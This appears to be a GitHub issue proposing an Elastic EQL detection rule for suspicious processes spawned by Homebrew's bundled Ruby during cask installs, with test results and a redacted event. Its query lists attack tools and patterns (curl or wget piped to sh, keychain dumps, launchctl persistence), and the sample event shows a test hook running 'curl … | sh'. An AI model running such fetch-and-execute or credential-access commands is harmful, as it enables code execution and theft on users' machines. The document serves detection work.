Repository navigation
Description
Description
Detects a suspicious child process spawned by Homebrew's bundled Ruby interpreter (vendor/portable-ruby) during a brew install, reinstall or upgrade. Cask preflight and postflight blocks run arbitrary Ruby at install time, including shelling out through system_command, so a malicious cask from a third-party tap, or a compromised or typosquatted one, can use them to execute code with the installing user's privileges. The rule looks for what such a hook would plausibly run: network and scripting tools, osascript prompts or shell-outs, launchctl persistence, keychain and directory-service credential access, shells running download, decode or persistence commands, binaries executed from temporary or shared directories, and untrusted or unsigned binaries.
This issue was filed on 2026-08-07 with an exclusion-based query. PR #6620 replaced that design after review, and the rule shown here is the one at the PR's current head. The original query excluded bash and sh by name, so a hook that ran bash -c "curl ... | sh" never alerted.
Scope note: since Homebrew commit 601472b (2026-08-08), the Cask Cookbook says casks in official Homebrew taps must use the structured *flight_steps stanzas and that legacy Ruby flight blocks are rejected there. Third-party taps still accept the legacy blocks for now. All testing below used a third-party tap. Structured steps were not tested.
Validation: measured on macOS 26.6.2 (arm64) with Homebrew 7.0.9 and 7.0.11. Process events were recorded with Apple's eslogger exec fork, which reads the Endpoint Security exec stream that Elastic Defend also uses, converted to ECS field names, and replayed through _eql/search on Elasticsearch 9.4.0 with the query below. The replay was repeated on 2026-11-15 and gave the same numbers. eslogger has no Defend enrichment, so code_signature.trusted was derived from the Endpoint Security validation category (platform, App Store and Developer ID count as trusted; ad-hoc, none and invalid do not).
- Two captures held 1,748 child processes of Homebrew's bundled Ruby. The query matched 18 of them, and all 18 came from malicious test hooks.
- 10 of the 12 malicious hooks matched:
curl | shthroughbash -candbash -xc,osascriptrunningdo shell script(directly, throughbash -cand throughzsh -lc),python3 -c,launchctl load, an ad-hoc signed binary in the Caskroom, a payload run from/private/tmp, and an ad-hoc payload dropped undervendor/portable-ruby. - The two misses exfiltrate with
dittoandzip, which the rule does not list. The investigation guide says so. - Clean activity produced 560 child processes: installs and uninstalls of four real casks (
foks,ngrok,pd,rectangle) and a benign test hook. None matched. The query this issue was first filed with matched 160 of those 560.
Target Ruleset
macos
Target Rule Type
Event Correlation (EQL)
Tested ECS Version
8.10.0
Query
process where event.action == "exec" and host.os.type == "macos" and
process.parent.executable like~ "*/Homebrew/vendor/portable-ruby/*" and
process.parent.args in ("install", "reinstall", "upgrade") and
(
process.name in ("nc", "ncat", "perl", "node", "sqlite3") or
process.name like~ "python*" or
(process.name == "osascript" and
process.command_line like~ ("*do shell script*", "*display dialog*", "*hidden answer*")) or
(process.name == "launchctl" and process.args in ("load", "bootstrap", "submit", "enable")) or
(process.name == "security" and
process.args in ("find-generic-password", "find-internet-password", "dump-keychain", "export")) or
(process.name == "dscl" and process.args == "-authonly") or
(process.name in ("bash", "sh", "zsh", "dash") and process.args regex "-[a-zA-Z]*c[a-zA-Z]*" and
process.command_line like~ ("*curl *", "*wget *", "*osascript*", "*base64*", "*python -c*", "*python3 -c*",
"*perl -e*", "*eval *", "*launchctl load*", "*launchctl bootstrap*", "*nohup*",
"*LaunchAgents*", "*LaunchDaemons*", "*| sh*", "*|sh*", "*| bash*", "*|bash*",
"*| zsh*", "*chmod +x*", "*com.apple.quarantine*", "*dscl*", "*security find-*",
"*sqlite3*")) or
process.executable like~ ("/tmp/*", "/private/tmp/*", "/var/folders/*", "/private/var/folders/*", "/Users/Shared/*") or
((process.code_signature.trusted == false or process.code_signature.exists == false) and
not process.executable like~ "*/Homebrew/vendor/portable-ruby/*/bin/ruby")
)
New fields required in ECS/data sources for this rule?
None. Uses process.* fields that Elastic Defend populates on macOS, including process.parent.args and process.code_signature.*.
Related issues or PRs
PR #6620
References
- https://docs.brew.sh/Cask-Cookbook#stanza-flight_steps
- https://www.securityweek.com/homebrew-macos-users-targeted-with-information-stealer-malware/
- https://hunt.io/blog/macos-odyssey-amos-malware-campaign
Redacted Example Data
The bash -xc hook from the second capture (Homebrew 7.0.11). Host name and tap name are redacted. Fields that only Defend adds, such as process.entity_id, are absent because this came from eslogger.
{
"@timestamp": "2026-10-31T14:21:40.900461442Z",
"event": {
"action": "exec",
"type": [
"start"
],
"category": [
"process"
],
"kind": "event"
},
"host": {
"os": {
"type": "macos"
},
"name": "<host>"
},
"process": {
"pid": 17666,
"name": "bash",
"executable": "/bin/bash",
"args": [
"/bin/bash",
"-xc",
"curl -s -m 1 http://127.0.0.1:1/x | sh"
],
"args_count": 3,
"command_line": "/bin/bash -xc curl -s -m 1 http://127.0.0.1:1/x | sh",
"code_signature": {
"exists": true,
"trusted": true,
"signing_id": "com.apple.bash",
"team_id": null,
"es_validation_category": 1
},
"working_directory": "/Users/<user>",
"parent": {
"pid": 17516,
"name": "ruby",
"executable": "/opt/homebrew/Library/Homebrew/vendor/portable-ruby/4.0.9/bin/ruby",
"args": [
"/opt/homebrew/Library/Homebrew/vendor/portable-ruby/current/bin/ruby",
"-W1",
"--disable=gems,rubyopt",
"/opt/homebrew/Library/Homebrew/brew.rb",
"install",
"--cask",
"<tap>/w27-evil-xc"
],
"args_count": 7,
"command_line": "/opt/homebrew/Library/Homebrew/vendor/portable-ruby/current/bin/ruby -W1 --disable=gems,rubyopt /opt/homebrew/Library/Homebrew/brew.rb install --cask <tap>/w27-evil-xc",
"code_signature": {
"exists": true,
"trusted": false,
"signing_id": "ruby",
"team_id": null,
"es_validation_category": 10
}
}
}
}
Activity
botelastic commentedon Oct 7, 2026
This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.
[-][New Rule] Unusual Child Process of Homebrew's Bundled Ruby Interpreter[/-][+][New Rule] Suspicious Child Process of Homebrew's Bundled Ruby Interpreter[/+]